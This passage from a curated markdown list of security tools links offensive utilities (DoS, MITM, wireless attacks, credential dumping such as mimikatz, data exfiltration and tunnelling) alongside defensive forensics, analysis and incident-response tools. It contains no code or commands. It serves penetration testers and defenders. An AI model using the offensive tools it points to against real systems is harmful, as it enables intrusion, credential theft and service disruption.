* [pig](https://github.com/rafael-santiago/pig) - GNU/Linux packet crafting tool.
* [Praeda](http://h.foofus.net/?page_id=218) - Automated multi-function printer data harvester for gathering usable data during security assessments.
* [Printer Exploitation Toolkit (PRET)](https://github.com/RUB-NDS/PRET) - Tool for printer security testing capable of IP and USB connectivity, fuzzing, and exploitation of PostScript, PJL, and PCL printer language features.
* [routersploit](https://github.com/threat9/routersploit) - Open source exploitation framework similar to Metasploit but dedicated to embedded devices.
* [scapy](https://github.com/secdev/scapy) - Python-based interactive packet manipulation program & library.
* [Sockstress](https://github.com/defuse/sockstress) - TCP based DoS utility.
* [SPARTA](https://sparta.secforce.com/) - Graphical interface offering scriptable, configurable access to existing network infrastructure scanning and enumeration tools.
* [Spyse](https://spyse.com/) - Web research services that scan the entire internet using OSINT, to simplify the investigation of infrastructure and attack surfaces.
* [Spyse.py](https://github.com/zeropwn/spyse.py) - Python API wrapper and command-line client for the tools hosted on spyse.com.
* [THC Hydra](https://github.com/vanhauser-thc/thc-hydra) - Online password cracking tool with built-in support for many network protocols, including HTTP, SMB, FTP, telnet, ICQ, MySQL, LDAP, IMAP, VNC, and more.
* [UFONet](https://github.com/epsylon/ufonet/) - Layer 7 DDoS/DoS tool.
* [Zarp](https://github.com/hatRiot/zarp/) - Multipurpose network attack tool, both wired and wireless.
<hr>
<br>
### Protocol Analyzers & Sniffers
* [Chaosreader](http://chaosreader.sourceforge.net/) - Universal TCP/UDP snarfing tool that dumps session data from various protocols.
* [Dshell](https://github.com/USArmyResearchLab/Dshell) - Network forensic analysis framework.
* [Fiddler](https://www.telerik.com/fiddler) - Cross platform packet capturing tool for capturing HTTP/HTTPS traffic.
* [Netsniff-ng](https://github.com/netsniff-ng/netsniff-ng) - Swiss army knife for Linux network sniffing.
* [Tcpdump/libpcap](https://www.tcpdump.org/) - Common packet analyzer that runs under the command line.
* [Wireshark](https://www.wireshark.org/) - Widely-used graphical, cross-platform network protocol analyzer.
* [Yersinia](https://tools.kali.org/vulnerability-analysis/yersinia) - Packet and protocol analyzer with MITM capability.
<hr>
<br>
### Proxies & MITM Tools
* [BetterCAP](https://www.bettercap.org/) - Modular, portable and easily extensible MITM framework.
* [dnschef](https://github.com/iphelix/dnschef) - Highly configurable DNS proxy for pentesters.
* [Ettercap](https://www.ettercap-project.org/) - Comprehensive, mature suite for machine-in-the-middle attacks.
* [evilgrade](https://github.com/infobyte/evilgrade) - Modular framework to take advantage of poor upgrade implementations by injecting fake updates.
* [mallory](https://github.com/justmao945/mallory) - HTTP/HTTPS proxy over SSH
* [MITMf](https://github.com/byt3bl33d3r/MITMf) - Multipurpose man-in-the-middle framework.
* [mitmproxy](https://github.com/mitmproxy/mitmproxy) - Interactive TLS-capable intercepting HTTP proxy for penetration testers and software developers.
* [Morpheus](https://github.com/r00t-3xp10it/morpheus) - Automated ettercap TCP/IP Hijacking tool.
* [Responder-Windows](https://github.com/lgandx/Responder-Windows) - Windows version of the above NBT-NS/LLMNR/MDNS poisoner.
* [Responder](https://github.com/lgandx/Responder) - Open source NBT-NS, LLMNR, and MDNS poisoner.
* [SSH MITM](https://github.com/jtesta/ssh-mitm) - Intercept SSH connections with a proxy; all plaintext passwords and sessions are logged to disk.
<hr>
<br>
### Wireless Network Tools
* [Aircrack-ng](https://www.aircrack-ng.org/) - Set of tools for auditing wireless networks.
* [BetterCAP](https://www.bettercap.org/) - Wifi, Bluetooth LE, and HID reconnaissance and MITM attack framework, written in Go.
* [Fluxion](https://github.com/FluxionNetwork/fluxion) - Suite of automated social engineering based WPA attacks.
* [Kismet](https://www.patreon.com/kismetwireless) - Wireless network discovery tool.
* [MANA Toolkit](https://github.com/sensepost/mana) - Rogue AP and man-in-the-middle utility.
* [NetStumbler](https://www.netstumbler.com/downloads/) - WLAN scanning tool.
* [WiFi Pumpkin](https://github.com/P0cL4bs/wifipumpkin3) - All in one Wi-Fi exploitation and spoofing utility.
* [wifi-pickle](https://github.com/GoVanguard/wifi-pickle) - Fake access point attacks.
* [Wifite](https://github.com/derv82/wifite) - Automated wireless attack tool.
<hr>
<br>
### TLS Tools
* [SMTP TLS Checker](https://luxsci.com/smtp-tls-checker) - Online TLS/SSL testing suite for SMTP servers.
* [SSL Labs](https://www.ssllabs.com/ssltest/) - Online TLS/SSL testing suite for revealing supported TLS/SSL versions and ciphers.
* [SSLscan](https://github.com/rbsec/sslscan) - Quick command line SSL/TLS analyzer.
* [SSLyze](https://github.com/nabla-c0d3/sslyze) - Fast and comprehensive TLS/SSL configuration analyzer to help identify security mis-configurations.
* [crackpkcs12](https://github.com/crackpkcs12/crackpkcs12) - Multithreaded program to crack PKCS#12 files (`.p12` and `.pfx` extensions), such as TLS/SSL certificates.
* [spoodle](https://github.com/avicoder/spoodle) - Mass subdomain + POODLE vulnerability scanner.
* [tlssled](https://tools.kali.org/information-gathering/tlssled) - Comprehensive TLS/SSL testing suite.
<hr>
<br>
### Cryptography
* [FeatherDuster](https://github.com/nccgroup/featherduster) - Analysis tool for discovering flaws in cryptography.
* [rsatool](https://github.com/ius/rsatool) - Tool for calculating RSA and RSA-CRT parameters.
* [xortool](https://github.com/hellman/xortool/) - XOR cipher analysis tool.
<hr>
<br>
## Lateral Movement Tools
Pivoting through multiple systems and accounts to gain additional access
* [Forbidden] - Bypass 4Xx HTTP Response Status Codes
* [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg/blob/master/README-en.md) -- Used for HTTP(S) Tunneling
<hr>
<br>
## Collection Tools
Gathering information relevant to following through on the adversary's objectives
* [ICMPDoor](https://github.com/krabelize/icmpdoor) - Open-source reverse-shell written in Python3 and scapy
* [iodined](https://github.com/yarrick/iodine) - DNS Tunneling
* [Data Exfiltration Toolkit (DET)](https://github.com/PaulSec/DET) - Proof of concept to perform data exfiltration using either single or multiple channel(s) at the same time.
* [dnsteal](https://github.com/m57/dnsteal/) - Fake DNS server for stealthily extracting files.
* [HTTPTunnel](https://github.com/larsbrinkhoff/httptunnel) - Tunnel data over pure HTTP GET/POST requests.
* [Iodine](https://github.com/yarrick/iodine) - Tunnel IPv4 data through a DNS server; useful for exfiltration from networks where Internet access is firewalled, but DNS queries are allowed.
* [MailSniper](https://github.com/dafthack/MailSniper) - Search through email in a Microsoft Exchange environment for specific terms (passwords, insider intel, network architecture information, etc.).
* [mallory](https://github.com/justmao945/mallory) - HTTP/HTTPS proxy over SSH.
* [mimikatz](https://blog.gentilkiwi.com/mimikatz) - Credentials extraction tool for Windows operating system.
* [mimikittenz](https://github.com/orlyjamie/mimikittenz) - Post-exploitation PowerShell tool for extracting data from process memory.
* [PANHunt](https://github.com/Dionach/PANhunt) - Search file systems for credit cards.
* [PassHunt](https://github.com/Dionach/PassHunt) - Search file systems for passwords.
* [ptunnel-ng](https://github.com/lnslbrty/ptunnel-ng) - Tunnel IPv4 traffic through ICMP pings; slow but stealthy when normal IP exfiltration traffic is blocked.
* [pwnat](https://github.com/samyk/pwnat) - Punches holes in firewalls and NATs.
* [spYDyishai](https://github.com/Night46/spYDyishai/) - Local Google credentials exfiltration tool, written in Python.
* [tgcd](http://tgcd.sourceforge.net/) - Simple Unix network utility to extend the accessibility of TCP/IP based network services beyond firewalls.
<hr>
<br>
## Impact
Disrupting availability, compromising integrity by manipulating business and operational processes
<hr>
<br>
## Remediation / Reporting
* [PeTeReport] - An Open-Source Application Vulnerability Reporting Tool
<hr>
<br>
## Cloud Pentesting
### AWS
* [Pacu](https://github.com/RhinoSecurityLabs/pacu)
* [https://rhinosecuritylabs.com/aws/cloud-container-attack-tool/](https://rhinosecuritylabs.com/aws/cloud-container-attack-tool/)
* [CloudFrunt](https://github.com/MindPointGroup/cloudfrunt) - Tool for identifying misconfigured CloudFront domains.
<br>
### GCP
* [GCP IAM Privilege Escalation](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation)
<br>
### Azure
* [Azure Stormspotter](https://github.com/Azure/Stormspotter)
<br>
### Misc Cloud
* [Multi Cloud](https://github.com/nccgroup/ScoutSuite)
* [Multi Cloud](https://github.com/aquasecurity/cloudsploit)
* [Recon Cloud](https://recon.cloud/) - Cloud asset scanner
<hr>
<br>
## Active Directory
* [AzureAD-Attack-Defense](https://github.com/Cloud-Architekt/AzureAD-Attack-Defense) - Various common attack scenarios on Azure AD
* [AD-Attack-Defense](https://lnkd.in/ePgnhbUk)
* [AD Exploitation Cheat Sheet](https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet)
* [Offensive AD 101](https://owasp.org/www-pdf-archive/OWASP_FFM_41_OffensiveActiveDirectory_101_MichaelRitter.pdf) - Offense AD Guide
* [AD Exploitation Cheatsheet](https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet#active-directory-exploitation-cheat-sheet) - Common TTPs for pentesting AD
* [IR Team](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse) — AD & Kerberos Abusing
* [AD Kill Chain Attack & Defense](https://github.com/infosecn1nja/AD-Attack-Defense#discovery) - Specific TTPs to compromise AD and guidance to mitigation, detection, and prevention
<hr>
<br>
## Compilation of Tools
* [EthHack](https://ethhack.com/category/security-tools/) — Repository security tool
* [FSociety Hacking Tools](https://github.com/Manisso/fsociety) — Contains all the tools used in Mr. Robot series
* [Hacktricks](https://book.hacktricks.xyz/) - Hacking TTPs
* [Kitploit’s Popular Hacking Tools](https://www.kitploit.com/2021/12/top-20-most-popular-hacking-tools-in.html)
* [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings) - A list of useful payloads for bypassing systems
* [Pentest-Tools](https://github.com/S3cur3Th1sSh1t/Pentest-Tools) — Cybersecurity repository
* [Red Team Resources](https://github.com/J0hnbX/RedTeam-Resources) - Compilation of Red Teaming resources
* [Red Teaming Toolkit](https://github.com/infosecn1nja/Red-Teaming-Toolkit#Payload%20Development)
<hr>
<br>
### Python
* [Python Tool List](https://hackersonlineclub.com/python-tools/) - Compilation of security Python tools
<hr>
<br>
## Wireless Pentesting
* [Best Wifi Hacking Tools](https://youtu.be/f2BjFilLDqQ)
<hr>
<br>
## Car Hacking
* [Kayak Car Hacking Tool](https://github.com/ParrotSec/car-hacking-tools) - Tool for Kayak car hacking.
<hr>
<br>
## Adversary Emulation
* [APTSimulator](https://github.com/NextronSystems/APTSimulator) - A Windows Batch script that uses a set of tools and output files to make a system look as if it was compromised.
* [Atomic Red Team](ART)](https://github.com/redcanaryco/atomic-red-team) - Small and highly portable detection tests mapped to the Mitre ATT&CK Framework.
* [AutoTTP](https://github.com/jymcheong/AutoTTP) - Automated Tactics Techniques & Procedures. Re-running complex sequences manually for regression tests, product evaluations, generate data for researchers.
* [Blue Team Training Toolkit](BT3)](https://www.bt3.no/) - Software for defensive security training, which will bring your network analysis training sessions, incident response drills and red team engagements to a new level.
* [Caldera](https://github.com/mitre/caldera) - an automated adversary emulation system that performs post-compromise adversarial behavior within Windows Enterprise networks. It generates plans during operation using a planning system and a pre-configured adversary model based on the Adversarial Tactics, Techniques & Common Knowledge](ATT&CK™) project.
* [DumpsterFire](https://github.com/TryCatchHCF/DumpsterFire) - The DumpsterFire Toolset is a modular, menu-driven, cross-platform tool for building repeatable, time-delayed, distributed security events. Easily create custom event chains for Blue Team drills and sensor / alert mapping. Red Teams can create decoy incidents, distractions, and lures to support and scale their operations.
* [Metta](https://github.com/uber-common/metta) - An information security preparedness tool to do adversarial simulation.
* [Network Flight Simulator](https://github.com/alphasoc/flightsim) - flightsim is a lightweight utility used to generate malicious network traffic and help security teams to evaluate security controls and network visibility.
* [Red Team Automation ](RTA)](https://github.com/endgameinc/RTA) - RTA provides a framework of scripts designed to allow blue teams to test their detection capabilities against malicious tradecraft, modeled after MITRE ATT&CK.
* [RedHunt-OS](https://github.com/redhuntlabs/RedHunt-OS) - A virtual machine for adversary emulation and threat hunting.
<hr>
<br>
# Defensive Security Tools
### NEED TO GO THROUGH
* [Active Countermeasures](https://www.activecountermeasures.com/free-tools/) - Open source tools for countermeasure
* [Cortex](https://thehive-project.org) - Cortex allows you to analyze observables such as IP and email addresses, URLs, domain names, files or hashes one by one or in bulk mode using a Web interface. Analysts can also automate these operations using its REST API.
* [DNS Blacklist](https://bitbucket.org/ethanr/dns-blacklists/src/master/) - Detect Blacklisted IPs from your traffic
* [DarkTrace](https://www.darktrace.com/en/) - Cyber AI detection
* [Diffy](https://github.com/Netflix-Skunkworks/diffy) - a DFIR tool developed by Netflix's SIRT that allows an investigator to quickly scope a compromise across cloud instances (Linux instances on AWS, currently) during an incident and efficiently triaging those instances for followup actions by showing differences against a baseline.
* [Fileintel](https://github.com/keithjjones/fileintel) - Pull intelligence per file hash.
* [Hindsight](https://github.com/obsidianforensics/hindsight) - Internet history forensics for Google Chrome/Chromium.
* [Imagemounter](https://github.com/ralphje/imagemounter) - Command line utility and Python package to ease the (un)mounting of forensic disk images.
* [Kansa](https://github.com/davehull/Kansa/) - Kansa is a modular incident response framework in Powershell.
* [Live Forensicator](https://github.com/Johnng007/Live-Forensicator) - Powershell script to aid Incidence Response and Live Forensics
* [Netzob](https://github.com/netzob/netzob/) - Multipurpose tool for reverse engineering, modeling, and fuzzing communciation protocols.
* [Spidertrap](https://bitbucket.org/ethanr/spidertrap/src/master/) - Trap web crawlers and spiders in dynamically generated webpages
* [Stalk](https://www.percona.com/doc/percona-toolkit/2.2/pt-stalk.html) - Collect forensic data about MySQL when problems occur.
* [Stenographer](https://github.com/google/stenographer) - Stenographer is a packet capture solution which aims to quickly spool all packets to disk, then provide simple, fast access to subsets of those packets. It stores as much history as it possible, managing disk usage, and deleting when disk limits are hit. It's ideal for capturing the traffic just before and during an incident, without the need explicit need to store all of the network traffic.
* [The CredDefense Toolkit](https://github.com/CredDefense/CredDefense/) - Detect & Prevent Brute Force attacks
* [Threat Hunter Playbook](https://threathunterplaybook.com/intro.html) - Open source project to share detection logic, adversary tradecraft and resources to make detection development more efficient
* [traceroute-circl](https://github.com/CIRCL/traceroute-circl) - traceroute-circl is an extended traceroute to support the activities of CSIRT (or CERT) operators. Usually CSIRT team have to handle incidents based on IP addresses received. Created by Computer Emergency Responce Center Luxembourg.
* [RaQet](https://www.raqet.org/) - RaQet is an unconventional remote acquisition and triaging tool that allows triage a disk of a remote computer (client) that is restarted with a purposely built forensic operating system.
* [rastrea2r](https://github.com/aboutsecurity/rastrea2r) - allows one to scan disks and memory for IOCs using YARA on Windows, Linux and OS X.
## Static Analyzers
* [Androbugs-Framework](https://github.com/AndroBugs/AndroBugs_Framework/) - Android program vulnerability analysis tool.
* [Androwarn](https://github.com/maaaaz/androwarn/) - Android static code analysis tool.
* [APKinspector](https://github.com/honeynet/apkinspector/) - Android APK analysis tool with GUI.
* [bandit](https://pypi.org/project/bandit/) - Security oriented static analyser for python code.
* [Brakeman](https://github.com/presidentbeef/brakeman) - Static analysis security vulnerability scanner for Ruby on Rails applications.
* [Codebeat (open source)](https://codebeat.co/open-source/) - Open source implementation of commercial static code analysis tool with GitHub integration.
* [Codelyzer](https://github.com/mgechev/codelyzer) - A set of tslint rules for static code analysis of Angular TypeScript projects. You can run the static code analyzer over web apps, NativeScript, Ionic, etc.
* [cppcheck](http://cppcheck.sourceforge.net/) - Extensible C/C++ static analyzer focused on finding bugs.
* [FindBugs](http://findbugs.sourceforge.net/) - Free software static analyzer to look for bugs in Java code.
* [Icewater](https://github.com/SupportIntelligence/Icewater) - 16,432 free Yara rules.
* [Joint Advanced Defense Assessment for Android Applications (JAADAS)](https://github.com/flankerhqd/JAADAS/) - Multipurpose Android static analysis tool.
* [OWASP Dependency Check](https://owasp.org/www-project-dependency-check/) - Open source static analysis tool that enumerates dependencies used by Java and .NET software code (with experimental support for Python, Ruby, Node.js, C, and C++) and lists security vulnerabilities associated with the depedencies.
* [pefile](https://github.com/erocarrera/pefile) - Static portable executable file inspector.
* [Progpilot](https://github.com/designsecurity/progpilot) - Static security analysis tool for PHP code.
* [Quick Android Review Kit (Qark)](https://github.com/linkedin/qark/) - Tool for finding security related Android application vulnerabilities.
* [ShellCheck](https://github.com/koalaman/shellcheck) - Static code analysis tool for shell script.
* [smalisca](https://github.com/dorneanu/smalisca) - Android static code analysis tool.
* [sobelow](https://github.com/nccgroup/sobelow) - Security-focused static analysis for the Phoenix Framework.
* [truffleHog](https://github.com/dxa4481/truffleHog) - Git repo scanner.
* [Veracode](https://www.veracode.com/) - Commercial cloud platform for static code analysis, dynamic code analysis, dependency/plugin analysis, and more.
* [VisualCodeGrepper](https://github.com/nccgroup/VCG) - Open source static code analysis tool with support for Java, C, C++, C#, PL/SQL, VB, and PHP. VisualCodeGrepper also conforms to OWASP best practices.
* [Yara](https://github.com/VirusTotal/yara) - Static pattern analysis tool for malware researchers.
## Dynamic Analyzers
* [AndroidHooker](https://github.com/AndroidHooker/hooker/) - Dynamic Android application analysis tool.
* [Androl4b](https://github.com/sh4hin/Androl4b/) - Android security virtual machine based on Ubuntu-MATE for reverse engineering and malware analysis.
* [Cheat Engine](https://www.cheatengine.org/) - Memory debugger and hex editor for running applications.
* [ConDroid](https://github.com/JulianSchuette/ConDroid) - Android dynamic application analysis tool.
* [Cuckoo](https://github.com/cuckoosandbox) - Automated dynamic malware analysis tool.
* [DECAF](https://github.com/decaf-project/DECAF) - Dynamic code analysis tool.
* [droidbox](https://github.com/pjlantz/droidbox) - Dynamic malware analysis tool for Android, extension to DECAF.
* [drozer](https://github.com/FSecureLABS/drozer) - Android platform dynamic vulnerability assessment tool.
* [idb](https://www.idbtool.com/) - iOS app security analyzer.
* [Inspeckage](https://github.com/ac-pm/Inspeckage) - Dynamic Android package analysis tool.
#### Hex Editors
* [Cheat Engine](https://www.cheatengine.org/) - Memory debugger and hex editor for running applications.
* [Frhed](http://frhed.sourceforge.net/en/) - Binary file editor for Windows.
* [HexEdit.js](https://hexed.it/) - Browser-based hex editing.
* [Hexinator](https://hexinator.com/) - World's finest (proprietary, commercial) Hex Editor.
#### File Format Analysis Tools
* [Hachoir](https://hachoir.readthedocs.io/en/latest/index.html) - Python library to view and edit a binary stream as tree of fields and tools for metadata extraction.
* [Kaitai Struct](https://kaitai.io/) - File formats and network protocols dissection language and web IDE, generating parsers in C++, C#, Java, JavaScript, Perl, PHP, Python, Ruby.
* [Veles](https://codisec.com/veles/) - Binary data visualization and analysis tool.
### Forensic Tools
* [Appliance for Digital Investigation and Analysis (ADIA)](https://forensics.cert.org/#ADIA) - VMware virtual appliance for digital forensics.
* [Autopsy](https://www.sleuthkit.org/autopsy/) - Graphical interface to The Sleuth Kit.
* [binwalk](https://github.com/ReFirmLabs/binwalk) - Firmware analysis tool.
* [bulk_extractor](https://github.com/simsong/bulk_extractor/) - Command line tool for extracting email addresses, credit card numbers, URLs, and other types of information from many types of files, including compressed files and images.
* [CAINE](https://www.caine-live.net/index.html) - Italian live Linux distro for digital forensics.
* [chkrootkit](http://www.chkrootkit.org/) - Checks local Linux systems for rootkits.
* [Chrome URL Dumper](https://github.com/eLoopWoo/chrome-url-dumper) - Python based agent that gathers and dumps Chrome history (URLs).
* [DEFT Linux](http://na.mirror.garr.it/mirrors/deft/) - Linux distro for digital forensics analysis.
* [Digital Forensics Framework (DFF)](https://tools.kali.org/forensics/dff) - Open source digital forensics framework with GUI.
* [docker-explorer](https://github.com/google/docker-explorer) - Docker file system forensic tool.
* [Dumpzilla](https://www.dumpzilla.org/) - Python based application for dumping information from Firefox, Iceweasel, and Seamonkey browsers.
* [extundelete](http://extundelete.sourceforge.net/) - ext3 and ext4 file recovery tool.
* [Fast Evidence Collector Toolkit (FECT)](https://github.com/jipegit/FECT) - Lightweight digital forensics tool.
* [FireEye Labs Obfuscated String Solver (FLOSS)](https://github.com/fireeye/flare-floss/) - Extract obfuscated strings from malware.
* [Foremost](http://foremost.sourceforge.net/) - File recovery tool.
* [GRR Rapid Response](https://github.com/google/grr) - Incident response framework focused on remote live forensics.
* [Hindsight](https://github.com/obsidianforensics/hindsight) - Chrome/Chromium browser forensics tool.
* [IREC](https://binalyze.com/irec/) - All in one evidence collector.
* [Linux Expl0rer](https://github.com/intezer/linux-explorer) - Easy-to-use live forensics toolbox for Linux endpoints written in Python & Flask.
* [magneto-malware-scanner](https://github.com/gwillem/magento-malware-scanner) - Malware scanning platform.
* [nightHawk](https://github.com/biggiesmallsAG/nightHawkResponse) - Platform for digital forensics presentation, using Elasticsearch.
* [PALADIN](https://sumuri.com/software/paladin/) - Linux distro for digital forensics.
* [pdf-parser](https://blog.didierstevens.com/my-software/#pdf-parser) - PDF digital forensics software.
* [pdfid](https://blog.didierstevens.com/my-software/#pdfid) - PDF digital forensics software.
* [pdfminer](https://github.com/euske/pdfminer/) - Tool for extracting information from the text of PDF documents.
* [peepdf](https://github.com/jesparza/peepdf) - Python PDF analysis tool.
* [PowerForensics](https://github.com/Invoke-IR/PowerForensics) - PowerShell based digital forensics suite.
* [PSRecon](https://github.com/gfoss/PSRecon/) - Windows based data gathering tool using PowerShell.
* [Regripper](https://forensicswiki.xyz/wiki/index.php?title=Regripper) - Windows Registry data extraction tool.
* [Rekall](http://www.rekall-forensic.com/) - Incident response and forensics tool.
* [SANS Investigative Forensics Toolkit (SIFT)](https://github.com/teamdfir/sift) - Linux VM for digital forensics.
* [SIFT Workstation](https://digital-forensics.sans.org/community/downloads) - Linux distro (with optional VM) for digital forensics.
* [The Sleuth Kit](https://www.sleuthkit.org/sleuthkit/) - Collection of command line digital forensic utilities for investigating disk images, volume and file system data, and more.
#### Memory Analysis
* [Evolve](https://github.com/JamesHabben/evolve) - Web interface for Volatility advanced memory forensics framework.
* [inVtero.net](https://github.com/ShaneK2/inVtero.net) - Windows x64 memory analysis tool.
* [Linux Memory Extractor (LiME)](https://github.com/504ensicsLabs/LiME) - A Loadable Kernel Module (LKM) allowing for volatile memory extraction of Linux-based systems.
* [Memoryze](https://www.fireeye.com/services/freeware/memoryze.html) - Memory forensics software.
* [Microsoft User Mode Process Dumping](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/user-mode-dump-files) - Dumps any running Win32 processes memory image on the fly.
* [PMDump](https://vidstromlabs.com/freetools/pmdump/) - Tool for dumping memory contents of a process without stopping the process.
* [Rekall](http://www.rekall-forensic.com/) - Open source tool and library for the extraction of digital artifacts from volatile memory, RAM, samples.
* [Responder PRO](https://www.gosecure.net/responder-pro) - Commercial memory analysis software.
* [Volatility](https://github.com/volatilityfoundation/volatility) - Advanced memory forensics framework.
* [VolatilityBot](https://github.com/mkorman90/VolatilityBot) - Automation tool utilizing Volatility.
* [VolDiff](https://github.com/aim4r/VolDiff) - Malware Memory Footprint Analysis based on Volatility.
* [WindowsSCOPE](https://www.windowsscope.com/) - Commercial memory forensics software for Windows systems.
#### Memory Imaging Tools
* [Belkasoft Live RAM Capturer](https://belkasoft.com/ram-capturer) - A tiny free forensic tool to reliably extract the entire content of the computer’s volatile memory – even if protected by an active anti-debugging or anti-dumping system.
* [Linux Memory Grabber](https://github.com/halpomeranz/lmg/) - A script for dumping Linux memory and creating Volatility profiles.
* [Magnet RAM Capture](https://www.magnetforensics.com/resources/magnet-ram-capture/) - Magnet RAM Capture is a free imaging tool designed to capture the physical memory of a suspect’s computer. Supports recent versions of Windows.
* [OSForensics](https://www.osforensics.com/) - OSForensics can acquire live memory on 32bit and 64bit systems. A dump of an individual process’s memory space or physical memory dump can be done.
### Incident Response
* [APT Simulator](https://github.com/NextronSystems/APTSimulator) - Windows Batch Script that makes a system appear compromised.
* [Atomic Red Team](https://atomicredteam.io/) - Set of premade tests to evaluate security posture.
* [AutoTTP](https://github.com/jymcheong/AutoTTP) - Automated Tactics Techniques & Procedures, for re-issuing complex tasks.
* [Belkasoft Evidence Center](https://belkasoft.com/x) - Commercial incident response suite.
* [Blue Team Training Toolkit](https://www.bt3.no/) - Toolkit for preparing blue teams for defensive security.
* [Caldera](https://github.com/mitre/caldera) - Automated adversary emulation system.
* [CIRTKit](https://github.com/opensourcesec/CIRTKit) - Open source incident response framework.
* [Cyber Triage](https://www.cybertriage.com/) - Commercial incident response suite.
* [Doorman](https://github.com/mwielgoszewski/doorman) - Osquery fleet manager.
* [DumpsterFire Toolset](https://github.com/TryCatchHCF/DumpsterFire) - Security event simulator.
* [Falcon Orchestrator](https://github.com/CrowdStrike/falcon-orchestrator) - Windows based incident management framework.
* [GRR Rapid Response](https://github.com/google/grr) - Python based incident mangement framework.
* [Kolide Fleet](https://github.com/kolide/fleet) - Open source osquery manager.
* [LimaCharlie](https://github.com/refractionpoint/limacharlie) - Cross-platform open source endpoint detection and response solution.
* [Metta](https://github.com/uber-common/metta) - Open source adversary simulation.
* [MIG - Mozilla InvestiGator](http://mozilla.github.io/mig/) - Endpoint inspection.
* [MozDef](https://github.com/mozilla/MozDef) - Mozilla defense platform.
* [Network Flight Simulator](https://github.com/alphasoc/flightsim) - Utility for generating malicious network traffic.
* [Osquery](https://osquery.io/) - Multiplatform framework for querying operating systems similar to SQL queries.
* [Red Team Automation (RTA)](https://github.com/endgameinc/RTA) - Adversary simulation framework.
* [RedHunt OS](https://github.com/redhuntlabs/RedHunt-OS) - Purposely vulnerable Linux VM.
* [Redline](https://www.fireeye.com/services/freeware/redline.html) - Investigative tool able to scan processes, memory, file system metadata, and more.
* [Zentral](https://github.com/zentralopensource/zentral) - Monitors system events using osquery.
#### All in one Incident Response Tools
* [Belkasoft Evidence Center](https://belkasoft.com/x) - The toolkit will quickly extract digital evidence from multiple sources by analyzing hard drives, drive images, memory dumps, iOS, Blackberry and Android backups, UFED, JTAG and chip-off dumps.
* [CimSweep](https://github.com/PowerShellMafia/CimSweep) - CimSweep is a suite of CIM/WMI-based tools that enable the ability to perform incident response and hunting operations remotely across all versions of Windows.
* [CIRTkit](https://github.com/opensourcesec/CIRTKit) - CIRTKit is not just a collection of tools, but also a framework to aid in the ongoing unification of Incident Response and Forensics investigation processes.
* [Cyber Triage](https://www.cybertriage.com/) - Cyber Triage remotely collects and analyzes endpoint data to help determine if it is compromised. It’s agentless approach and focus on ease of use and automation allows companies to respond without major infrastructure changes and without a team of forensics experts. Its results are used to decide if the system should be erased or investigated further.
* [Digital Forensics Framework](https://github.com/arxsys/dff) - DFF is an Open Source computer forensics platform built on top of a dedicated Application Programming Interface. DFF proposes an alternative to the aging digital forensics solutions used today. Designed for simple use and automation, the DFF interface guides the user through the main steps of a digital investigation so it can be used by both professional and non-expert to quickly and easily conduct a digital investigations and perform incident response.
* [Doorman](https://github.com/mwielgoszewski/doorman) - Doorman is an osquery fleet manager that allows remote management of osquery configurations retrieved by nodes. It takes advantage of osquery's TLS configuration, logger, and distributed read/write endpoints, to give administrators visibility across a fleet of devices with minimal overhead and intrusiveness.
* [Envdb](https://github.com/mephux/envdb) - Envdb turns your production, dev, cloud, etc environments into a database cluster you can search using osquery as the foundation. It wraps the osquery process with a cluster node agent that can communicate back to a central location.
* [Falcon Orchestrator](https://github.com/CrowdStrike/falcon-orchestrator) - Falcon Orchestrator by CrowdStrike is an extendable Windows-based application that provides workflow automation, case management and security response functionality.
* [GRR Rapid Response](https://github.com/google/grr) - GRR Rapid Response is an incident response framework focused on remote live forensics. It consists of a python agent client that is installed on target systems, and a python server infrastructure that can manage and talk to the agent.
* [Kolide Fleet](https://github.com/kolide/fleet) - Kolide Fleet is a state of the art host monitoring platform tailored for security experts. Leveraging Facebook's battle-tested osquery project, Kolide delivers fast answers to big questions.
* [Limacharlie](https://github.com/refractionpoint/limacharlie) - an endpoint security platform. It is itself a collection of small projects all working together, and gives you a cross-platform, Windows, OSX, Linux, Android and iOS, low-level environment allowing you to manage and push additional modules into memory to extend its functionality.
* [MIG](http://mozilla.github.io/mig/) - Mozilla Investigator, MIG, is a platform to perform investigative surgery on remote endpoints. It enables investigators to obtain information from large numbers of systems in parallel, thus accelerating investigation of incidents and day-to-day operations security.
* [MozDef](https://github.com/mozilla/MozDef) - The Mozilla Defense Platform, MozDef, seeks to automate the security incident handling process and facilitate the real-time activities of incident handlers.
* [nightHawk](https://github.com/biggiesmallsAG/nightHawkResponse) - the nightHawk Response Platform is an application built for asynchronus forensic data presentation using ElasticSearch as the backend. It's designed to ingest Redline collections.
* [Open Computer Forensics Architecture](https://sourceforge.net/projects/ocfa/) - Open Computer Forensics Architecture, OCFA, is another popular distributed open-source computer forensics framework. This framework was built on Linux platform and uses postgreSQL database for storing data.
* [Osquery](https://osquery.io/) - with osquery you can easily ask questions about your Linux and OSX infrastructure. Whether your goal is intrusion detection, infrastructure reliability, or compliance, osquery gives you the ability to empower and inform a broad set of organizations within your company. Queries in the -incident-response pack - help you detect and respond to breaches.
* [Redline](https://www.fireeye.com/services/freeware/redline.html) - provides host investigative capabilities to users to find signs of malicious activity through memory and file analysis, and the development of a threat assessment profile.
* [The Sleuth Kit & Autopsy](https://www.sleuthkit.org/) - The Sleuth Kit is a Unix and Windows based tool which helps in forensic analysis of computers. It comes with various tools which helps in digital forensics. These tools help in analyzing disk images, performing in-depth analysis of file systems, and various other things.
* [TheHive](https://thehive-project.org/) - TheHive is a scalable 3-in-1 open source and free solution designed to make life easier for SOCs, CSIRTs, CERTs and any information security practitioner dealing with security incidents that need to be investigated and acted upon swiftly.
* [X-Ways Forensics](https://www.x-ways.net/forensics/) - X-Ways is a forensics tool for Disk cloning and imaging. It can be used to find deleted files and disk analysis.
* [Zentral](https://github.com/zentralopensource/zentral) - combines osquery's powerful endpoint inventory features with a flexible notification and action framework. This enables one to identify and react to changes on OS X and Linux clients.
### Disk Image Creation Tools
* [AccessData FTK Imager](https://accessdata.com/product-download/?/support/adownloads#FTKImager) - AccessData FTK Imager is a forensics tool whose main purpose is to preview recoverable data from a disk of any kind. FTK Imager can also acquire live memory and paging file on 32bit and 64bit systems.
